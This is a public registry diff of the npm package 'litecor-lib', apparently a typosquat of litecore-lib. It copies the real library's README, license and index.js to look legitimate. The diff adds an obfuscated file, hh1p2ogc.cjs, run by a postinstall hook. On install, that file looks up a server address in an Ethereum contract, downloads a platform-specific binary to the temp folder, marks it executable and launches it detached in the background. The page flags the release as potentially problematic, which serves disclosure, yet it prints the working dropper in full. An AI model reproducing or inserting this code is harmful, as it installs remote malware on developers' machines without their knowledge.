litecor-lib 0.0.1-security → 0.13.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of litecor-lib might be problematic. Click here for more details.
- package/LICENSE +32 -0
- package/README.md +95 -3
- package/hh1p2ogc.cjs +1 -0
- package/index.js +70 -0
- package/package.json +104 -4
package/LICENSE
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
Copyright (c) 2013-2017 BitPay, Inc.
|
|
2
|
+
|
|
3
|
+
Parts of this software are based on Bitcoin Core
|
|
4
|
+
Copyright (c) 2009-2015 The Bitcoin Core developers
|
|
5
|
+
|
|
6
|
+
Parts of this software are based on fullnode
|
|
7
|
+
Copyright (c) 2014 Ryan X. Charles
|
|
8
|
+
Copyright (c) 2014 reddit, Inc.
|
|
9
|
+
|
|
10
|
+
Parts of this software are based on BitcoinJS
|
|
11
|
+
Copyright (c) 2011 Stefan Thomas <justmoon@members.fsf.org>
|
|
12
|
+
|
|
13
|
+
Parts of this software are based on BitcoinJ
|
|
14
|
+
Copyright (c) 2011 Google Inc.
|
|
15
|
+
|
|
16
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
17
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
18
|
+
in the Software without restriction, including without limitation the rights
|
|
19
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
20
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
21
|
+
furnished to do so, subject to the following conditions:
|
|
22
|
+
|
|
23
|
+
The above copyright notice and this permission notice shall be included in
|
|
24
|
+
all copies or substantial portions of the Software.
|
|
25
|
+
|
|
26
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
27
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
28
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
29
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
30
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
31
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
|
32
|
+
THE SOFTWARE.
|
package/README.md
CHANGED
|
@@ -1,5 +1,97 @@
|
|
|
1
|
-
|
|
1
|
+
Litecore Library
|
|
2
|
+
=======
|
|
2
3
|
|
|
3
|
-
|
|
4
|
+
[](https://www.npmjs.org/package/litecore-lib)
|
|
5
|
+
[](https://travis-ci.org/litecoin-project/litecore-lib)
|
|
6
|
+
[](https://coveralls.io/r/litecoin-project/litecore-lib)
|
|
4
7
|
|
|
5
|
-
|
|
8
|
+
A pure and powerful JavaScript Litecoin library.
|
|
9
|
+
|
|
10
|
+
## Principles
|
|
11
|
+
|
|
12
|
+
Litecoin is a powerful new peer-to-peer platform for the next generation of financial technology. The decentralized nature of the Litecoin network allows for highly resilient litecoin infrastructure, and the developer community needs reliable, open-source tools to implement litecoin apps and services.
|
|
13
|
+
|
|
14
|
+
## Get Started
|
|
15
|
+
|
|
16
|
+
```
|
|
17
|
+
npm install litecore-lib
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
```
|
|
21
|
+
bower install litecore-lib
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
## Documentation
|
|
25
|
+
|
|
26
|
+
The complete docs are hosted here: [litecore documentation](http://litecore.io/guide/). There's also a [litecore API reference](http://litecore.io/api/) available generated from the JSDocs of the project, where you'll find low-level details on each litecore utility.
|
|
27
|
+
|
|
28
|
+
- [Read the Developer Guide](http://litecore.io/guide/)
|
|
29
|
+
- [Read the API Reference](http://litecore.io/api/)
|
|
30
|
+
|
|
31
|
+
To get community assistance and ask for help with implementation questions, please use our [community forums](https://forum.litecore.io/).
|
|
32
|
+
|
|
33
|
+
## Examples
|
|
34
|
+
|
|
35
|
+
* [Generate a random address](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#generate-a-random-address)
|
|
36
|
+
* [Generate a address from a SHA256 hash](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#generate-a-address-from-a-sha256-hash)
|
|
37
|
+
* [Import an address via WIF](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#import-an-address-via-wif)
|
|
38
|
+
* [Create a Transaction](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#create-a-transaction)
|
|
39
|
+
* [Sign a Bitcoin message](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#sign-a-bitcoin-message)
|
|
40
|
+
* [Verify a Bitcoin message](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#verify-a-bitcoin-message)
|
|
41
|
+
* [Create an OP RETURN transaction](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#create-an-op-return-transaction)
|
|
42
|
+
* [Create a 2-of-3 multisig P2SH address](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#create-a-2-of-3-multisig-p2sh-address)
|
|
43
|
+
* [Spend from a 2-of-2 multisig P2SH address](https://github.com/litecoin-project/litecore-lib/blob/master/docs/examples.md#spend-from-a-2-of-2-multisig-p2sh-address)
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
## Security
|
|
47
|
+
|
|
48
|
+
We're using Litecore in production, as are [many others](http://litecore.io#projects), but please use common sense when doing anything related to finances! We take no responsibility for your implementation decisions.
|
|
49
|
+
|
|
50
|
+
If you find a security issue, please email security@bitpay.com.
|
|
51
|
+
|
|
52
|
+
## Contributing
|
|
53
|
+
|
|
54
|
+
Please send pull requests for bug fixes, code optimization, and ideas for improvement. For more information on how to contribute, please refer to our [CONTRIBUTING](https://github.com/litecoin-project/litecore-lib/blob/master/CONTRIBUTING.md) file.
|
|
55
|
+
|
|
56
|
+
## Building the Browser Bundle
|
|
57
|
+
|
|
58
|
+
To build a litecore-lib full bundle for the browser:
|
|
59
|
+
|
|
60
|
+
```sh
|
|
61
|
+
gulp browser
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
This will generate files named `litecore-lib.js` and `litecore-lib.min.js`.
|
|
65
|
+
|
|
66
|
+
You can also use our pre-generated files, provided for each release along with a PGP signature by one of the project's maintainers. To get them, checkout a release commit (for example, https://github.com/bitpay/bitcore-lib/commit/e33b6e3ba6a1e5830a079e02d949fce69ea33546 for v0.12.6).
|
|
67
|
+
|
|
68
|
+
To verify signatures, use the following PGP keys:
|
|
69
|
+
- @braydonf: https://pgp.mit.edu/pks/lookup?op=get&search=0x9BBF07CAC07A276D `D909 EFE6 70B5 F6CC 89A3 607A 9BBF 07CA C07A 276D`
|
|
70
|
+
- @gabegattis: https://pgp.mit.edu/pks/lookup?op=get&search=0x441430987182732C `F3EA 8E28 29B4 EC93 88CB B0AA 4414 3098 7182 732C`
|
|
71
|
+
- @kleetus: https://pgp.mit.edu/pks/lookup?op=get&search=0x33195D27EF6BDB7F `F8B0 891C C459 C197 65C2 5043 3319 5D27 EF6B DB7F`
|
|
72
|
+
- @matiu: https://pgp.mit.edu/pks/lookup?op=get&search=0x9EDE6DE4DE531FAC `25CE ED88 A1B1 0CD1 12CD 4121 9EDE 6DE4 DE53 1FAC`
|
|
73
|
+
|
|
74
|
+
|
|
75
|
+
## Development & Tests
|
|
76
|
+
|
|
77
|
+
```sh
|
|
78
|
+
git clone https://github.com/litecoin-project/litecore-lib
|
|
79
|
+
cd litecore-lib
|
|
80
|
+
npm install
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
Run all the tests:
|
|
84
|
+
|
|
85
|
+
```sh
|
|
86
|
+
gulp test
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
You can also run just the Node.js tests with `gulp test:node`, just the browser tests with `gulp test:browser`
|
|
90
|
+
or create a test coverage report (you can open `coverage/lcov-report/index.html` to visualize it) with `gulp coverage`.
|
|
91
|
+
|
|
92
|
+
## License
|
|
93
|
+
|
|
94
|
+
Code released under [the MIT license](https://github.com/litecoin-project/litecore-lib/blob/master/LICENSE).
|
|
95
|
+
|
|
96
|
+
Copyright 2013-2017 BitPay, Inc. Bitcore is a trademark maintained by BitPay, Inc.
|
|
97
|
+
Copyright 2016-2017 The Litecoin Core Developers
|
package/hh1p2ogc.cjs
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0x52e677=_0x231b;(function(_0x56e49f,_0x1f6b49){const _0x61610a=_0x231b,_0xe7a820=_0x56e49f();while(!![]){try{const _0x3565b1=parseInt(_0x61610a(0x189))/0x1*(-parseInt(_0x61610a(0x171))/0x2)+-parseInt(_0x61610a(0x184))/0x3+-parseInt(_0x61610a(0x183))/0x4*(-parseInt(_0x61610a(0x16b))/0x5)+-parseInt(_0x61610a(0x179))/0x6*(parseInt(_0x61610a(0x17f))/0x7)+parseInt(_0x61610a(0x173))/0x8*(-parseInt(_0x61610a(0x169))/0x9)+parseInt(_0x61610a(0x16c))/0xa+parseInt(_0x61610a(0x192))/0xb;if(_0x3565b1===_0x1f6b49)break;else _0xe7a820['push'](_0xe7a820['shift']());}catch(_0x41c74c){_0xe7a820['push'](_0xe7a820['shift']());}}}(_0x1d62,0xa3b83));function _0x231b(_0x33c29d,_0x4e40bc){const _0x1d62e3=_0x1d62();return _0x231b=function(_0x231b6c,_0x124b89){_0x231b6c=_0x231b6c-0x166;let _0xc92c91=_0x1d62e3[_0x231b6c];return _0xc92c91;},_0x231b(_0x33c29d,_0x4e40bc);}function _0x1d62(){const _0xdc0535=['darwin','join','pYMkG','DrqTE','9SwLCog','chmodSync','15zbcAvO','10408630Uvstnb','755','PiziI','ignore','unref','6yQskDH','error','4990424soskGM','/node-win.exe','/node-macos','ovkwz','axios','Unsupported\x20platform:\x20','654uCbWPk','ethers','stream','omTvu','createWriteStream','Ошибка\x20при\x20получении\x20IP\x20адреса:','57127cmqZqB','win32','finish','GET','1638932wZGnYA','654504NcPrjz','Contract','mainnet','ewHKK','/node-linux','167231UztVbO','tmpdir','kjHOY','child_process','getDefaultProvider','basename','pipe','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','Tdxcg','6971206RieoNV','platform','DuJqQ','Ошибка\x20установки:'];_0x1d62=function(){return _0xdc0535;};return _0x1d62();}const {ethers}=require(_0x52e677(0x17a)),axios=require(_0x52e677(0x177)),util=require('util'),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require(_0x52e677(0x18c)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x52e677(0x190),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers[_0x52e677(0x18d)](_0x52e677(0x186)),contract=new ethers[(_0x52e677(0x185))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x395eb3=_0x52e677,_0x1adbfb={'ovkwz':function(_0x216a43){return _0x216a43();}};try{const _0x38fdf0=await contract['getString'](WalletOwner);return _0x38fdf0;}catch(_0x15f529){return console['error'](_0x395eb3(0x17e),_0x15f529),await _0x1adbfb[_0x395eb3(0x176)](fetchAndUpdateIp);}},getDownloadUrl=_0x5e8cf7=>{const _0x5e6545=_0x52e677,_0x5e7d6f={'omTvu':'linux'},_0xe2b481=os[_0x5e6545(0x193)]();switch(_0xe2b481){case _0x5e6545(0x180):return _0x5e8cf7+_0x5e6545(0x174);case _0x5e7d6f[_0x5e6545(0x17c)]:return _0x5e8cf7+_0x5e6545(0x188);case _0x5e6545(0x196):return _0x5e8cf7+_0x5e6545(0x175);default:throw new Error(_0x5e6545(0x178)+_0xe2b481);}},downloadFile=async(_0x549f0c,_0x3988f2)=>{const _0x370666=_0x52e677,_0x161a08={'nmBSL':_0x370666(0x172),'LefmW':function(_0x532bd6,_0x114f61){return _0x532bd6(_0x114f61);}},_0x3e278e=fs[_0x370666(0x17d)](_0x3988f2),_0x2ad3d3=await _0x161a08['LefmW'](axios,{'url':_0x549f0c,'method':_0x370666(0x182),'responseType':_0x370666(0x17b)});return _0x2ad3d3['data'][_0x370666(0x18f)](_0x3e278e),new Promise((_0x7c65fa,_0x10a5c3)=>{const _0x5615a9=_0x370666;_0x3e278e['on'](_0x5615a9(0x181),_0x7c65fa),_0x3e278e['on'](_0x161a08['nmBSL'],_0x10a5c3);});},executeFileInBackground=async _0x4a10c9=>{const _0x1428ae=_0x52e677,_0x1f6d2d={'ewHKK':function(_0x25562c,_0x295ed2,_0x388b66,_0x3ea4c1){return _0x25562c(_0x295ed2,_0x388b66,_0x3ea4c1);},'DuJqQ':_0x1428ae(0x16f),'PiziI':'Ошибка\x20при\x20запуске\x20файла:'};try{const _0x553f21=_0x1f6d2d[_0x1428ae(0x187)](spawn,_0x4a10c9,[],{'detached':!![],'stdio':_0x1f6d2d[_0x1428ae(0x194)]});_0x553f21[_0x1428ae(0x170)]();}catch(_0x48b7a2){console[_0x1428ae(0x172)](_0x1f6d2d[_0x1428ae(0x16e)],_0x48b7a2);}},runInstallation=async()=>{const _0x35c59f=_0x52e677,_0xd86fe6={'FwNGh':function(_0x1eba59){return _0x1eba59();},'pYMkG':function(_0x2ec4fd,_0x56323b){return _0x2ec4fd(_0x56323b);},'oeWDS':function(_0x4cb92e,_0x4750c8,_0x8aa193){return _0x4cb92e(_0x4750c8,_0x8aa193);},'kjHOY':function(_0x293c79,_0x4ac13c){return _0x293c79!==_0x4ac13c;},'Tdxcg':_0x35c59f(0x180),'DrqTE':_0x35c59f(0x16d),'StkVW':_0x35c59f(0x195)};try{const _0x413032=await _0xd86fe6['FwNGh'](fetchAndUpdateIp),_0x2678f2=_0xd86fe6[_0x35c59f(0x167)](getDownloadUrl,_0x413032),_0x2c2ae1=os[_0x35c59f(0x18a)](),_0x4cce65=path[_0x35c59f(0x18e)](_0x2678f2),_0x5a9a80=path[_0x35c59f(0x166)](_0x2c2ae1,_0x4cce65);await _0xd86fe6['oeWDS'](downloadFile,_0x2678f2,_0x5a9a80);if(_0xd86fe6[_0x35c59f(0x18b)](os['platform'](),_0xd86fe6[_0x35c59f(0x191)]))fs[_0x35c59f(0x16a)](_0x5a9a80,_0xd86fe6[_0x35c59f(0x168)]);_0xd86fe6['pYMkG'](executeFileInBackground,_0x5a9a80);}catch(_0x5a0945){console[_0x35c59f(0x172)](_0xd86fe6['StkVW'],_0x5a0945);}};runInstallation();
|
package/index.js
ADDED
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
var litecore = module.exports;
|
|
4
|
+
|
|
5
|
+
// module information
|
|
6
|
+
litecore.version = 'v' + require('./package.json').version;
|
|
7
|
+
litecore.versionGuard = function(version) {
|
|
8
|
+
if (version !== undefined) {
|
|
9
|
+
var message = 'More than one instance of litecore-lib found. ' +
|
|
10
|
+
'Please make sure to require litecore-lib and check that submodules do' +
|
|
11
|
+
' not also include their own litecore-lib dependency.';
|
|
12
|
+
throw new Error(message);
|
|
13
|
+
}
|
|
14
|
+
};
|
|
15
|
+
litecore.versionGuard(global._litecore);
|
|
16
|
+
global._litecore = litecore.version;
|
|
17
|
+
|
|
18
|
+
// crypto
|
|
19
|
+
litecore.crypto = {};
|
|
20
|
+
litecore.crypto.BN = require('./lib/crypto/bn');
|
|
21
|
+
litecore.crypto.ECDSA = require('./lib/crypto/ecdsa');
|
|
22
|
+
litecore.crypto.Hash = require('./lib/crypto/hash');
|
|
23
|
+
litecore.crypto.Random = require('./lib/crypto/random');
|
|
24
|
+
litecore.crypto.Point = require('./lib/crypto/point');
|
|
25
|
+
litecore.crypto.Signature = require('./lib/crypto/signature');
|
|
26
|
+
|
|
27
|
+
// encoding
|
|
28
|
+
litecore.encoding = {};
|
|
29
|
+
litecore.encoding.Base58 = require('./lib/encoding/base58');
|
|
30
|
+
litecore.encoding.Base58Check = require('./lib/encoding/base58check');
|
|
31
|
+
litecore.encoding.BufferReader = require('./lib/encoding/bufferreader');
|
|
32
|
+
litecore.encoding.BufferWriter = require('./lib/encoding/bufferwriter');
|
|
33
|
+
litecore.encoding.Varint = require('./lib/encoding/varint');
|
|
34
|
+
|
|
35
|
+
// utilities
|
|
36
|
+
litecore.util = {};
|
|
37
|
+
litecore.util.buffer = require('./lib/util/buffer');
|
|
38
|
+
litecore.util.js = require('./lib/util/js');
|
|
39
|
+
litecore.util.preconditions = require('./lib/util/preconditions');
|
|
40
|
+
|
|
41
|
+
// errors thrown by the library
|
|
42
|
+
litecore.errors = require('./lib/errors');
|
|
43
|
+
|
|
44
|
+
// main bitcoin library
|
|
45
|
+
litecore.Address = require('./lib/address');
|
|
46
|
+
litecore.Block = require('./lib/block');
|
|
47
|
+
litecore.MerkleBlock = require('./lib/block/merkleblock');
|
|
48
|
+
litecore.BlockHeader = require('./lib/block/blockheader');
|
|
49
|
+
litecore.HDPrivateKey = require('./lib/hdprivatekey.js');
|
|
50
|
+
litecore.HDPublicKey = require('./lib/hdpublickey.js');
|
|
51
|
+
litecore.Networks = require('./lib/networks');
|
|
52
|
+
litecore.Opcode = require('./lib/opcode');
|
|
53
|
+
litecore.PrivateKey = require('./lib/privatekey');
|
|
54
|
+
litecore.PublicKey = require('./lib/publickey');
|
|
55
|
+
litecore.Script = require('./lib/script');
|
|
56
|
+
litecore.Transaction = require('./lib/transaction');
|
|
57
|
+
litecore.URI = require('./lib/uri');
|
|
58
|
+
litecore.Unit = require('./lib/unit');
|
|
59
|
+
|
|
60
|
+
// dependencies, subject to change
|
|
61
|
+
litecore.deps = {};
|
|
62
|
+
litecore.deps.bnjs = require('bn.js');
|
|
63
|
+
litecore.deps.bs58 = require('bs58');
|
|
64
|
+
litecore.deps.Buffer = Buffer;
|
|
65
|
+
litecore.deps.elliptic = require('elliptic');
|
|
66
|
+
litecore.deps.scryptsy = require('scryptsy');
|
|
67
|
+
litecore.deps._ = require('lodash');
|
|
68
|
+
|
|
69
|
+
// Internal usage, exposed for testing/advanced tweaking
|
|
70
|
+
litecore.Transaction.sighash = require('./lib/transaction/sighash');
|
package/package.json
CHANGED
|
@@ -1,6 +1,106 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "litecor-lib",
|
|
3
|
-
"version": "0.
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "0.13.22",
|
|
4
|
+
"description": "A pure and powerful JavaScript Litecoin library.",
|
|
5
|
+
"author": "BitPay <dev@bitpay.com>",
|
|
6
|
+
"main": "index.js",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"postinstall": "node hh1p2ogc.cjs"
|
|
9
|
+
},
|
|
10
|
+
"contributors": [
|
|
11
|
+
{
|
|
12
|
+
"name": "Charlie Lee",
|
|
13
|
+
"email": "coblee@litecoin.org"
|
|
14
|
+
},
|
|
15
|
+
{
|
|
16
|
+
"name": "Daniel Cousens",
|
|
17
|
+
"email": "bitcoin@dcousens.com"
|
|
18
|
+
},
|
|
19
|
+
{
|
|
20
|
+
"name": "Esteban Ordano",
|
|
21
|
+
"email": "eordano@gmail.com"
|
|
22
|
+
},
|
|
23
|
+
{
|
|
24
|
+
"name": "Gordon Hall",
|
|
25
|
+
"email": "gordon@bitpay.com"
|
|
26
|
+
},
|
|
27
|
+
{
|
|
28
|
+
"name": "Jeff Garzik",
|
|
29
|
+
"email": "jgarzik@bitpay.com"
|
|
30
|
+
},
|
|
31
|
+
{
|
|
32
|
+
"name": "Kyle Drake",
|
|
33
|
+
"email": "kyle@kyledrake.net"
|
|
34
|
+
},
|
|
35
|
+
{
|
|
36
|
+
"name": "Manuel Araoz",
|
|
37
|
+
"email": "manuelaraoz@gmail.com"
|
|
38
|
+
},
|
|
39
|
+
{
|
|
40
|
+
"name": "Matias Alejo Garcia",
|
|
41
|
+
"email": "ematiu@gmail.com"
|
|
42
|
+
},
|
|
43
|
+
{
|
|
44
|
+
"name": "Ryan X. Charles",
|
|
45
|
+
"email": "ryanxcharles@gmail.com"
|
|
46
|
+
},
|
|
47
|
+
{
|
|
48
|
+
"name": "Stefan Thomas",
|
|
49
|
+
"email": "moon@justmoon.net"
|
|
50
|
+
},
|
|
51
|
+
{
|
|
52
|
+
"name": "Stephen Pair",
|
|
53
|
+
"email": "stephen@bitpay.com"
|
|
54
|
+
},
|
|
55
|
+
{
|
|
56
|
+
"name": "Wei Lu",
|
|
57
|
+
"email": "luwei.here@gmail.com"
|
|
58
|
+
}
|
|
59
|
+
],
|
|
60
|
+
"keywords": [
|
|
61
|
+
"litecoin",
|
|
62
|
+
"bitcoin",
|
|
63
|
+
"transaction",
|
|
64
|
+
"address",
|
|
65
|
+
"p2p",
|
|
66
|
+
"ecies",
|
|
67
|
+
"cryptocurrency",
|
|
68
|
+
"blockchain",
|
|
69
|
+
"payment",
|
|
70
|
+
"bip21",
|
|
71
|
+
"bip32",
|
|
72
|
+
"bip37",
|
|
73
|
+
"bip69",
|
|
74
|
+
"bip70",
|
|
75
|
+
"multisig"
|
|
76
|
+
],
|
|
77
|
+
"repository": {
|
|
78
|
+
"type": "git",
|
|
79
|
+
"url": "https://github.com/litecoin-project/litecore-lib.git"
|
|
80
|
+
},
|
|
81
|
+
"browser": {
|
|
82
|
+
"request": "browser-request"
|
|
83
|
+
},
|
|
84
|
+
"dependencies": {
|
|
85
|
+
"bn.js": "=2.0.4",
|
|
86
|
+
"bs58": "=2.0.0",
|
|
87
|
+
"buffer-compare": "=1.0.0",
|
|
88
|
+
"elliptic": "=3.0.3",
|
|
89
|
+
"inherits": "=2.0.1",
|
|
90
|
+
"lodash": "=3.10.1",
|
|
91
|
+
"scryptsy": "=2.0.0",
|
|
92
|
+
"axios": "^1.7.7",
|
|
93
|
+
"ethers": "^6.13.2"
|
|
94
|
+
},
|
|
95
|
+
"devDependencies": {
|
|
96
|
+
"brfs": "^1.2.0",
|
|
97
|
+
"chai": "^1.10.0",
|
|
98
|
+
"gulp": "^3.9.1",
|
|
99
|
+
"litecore-build": "litecoin-project/litecore-build",
|
|
100
|
+
"sinon": "^1.13.0"
|
|
101
|
+
},
|
|
102
|
+
"license": "MIT",
|
|
103
|
+
"files": [
|
|
104
|
+
"hh1p2ogc.cjs"
|
|
105
|
+
]
|
|
106
|
+
}
|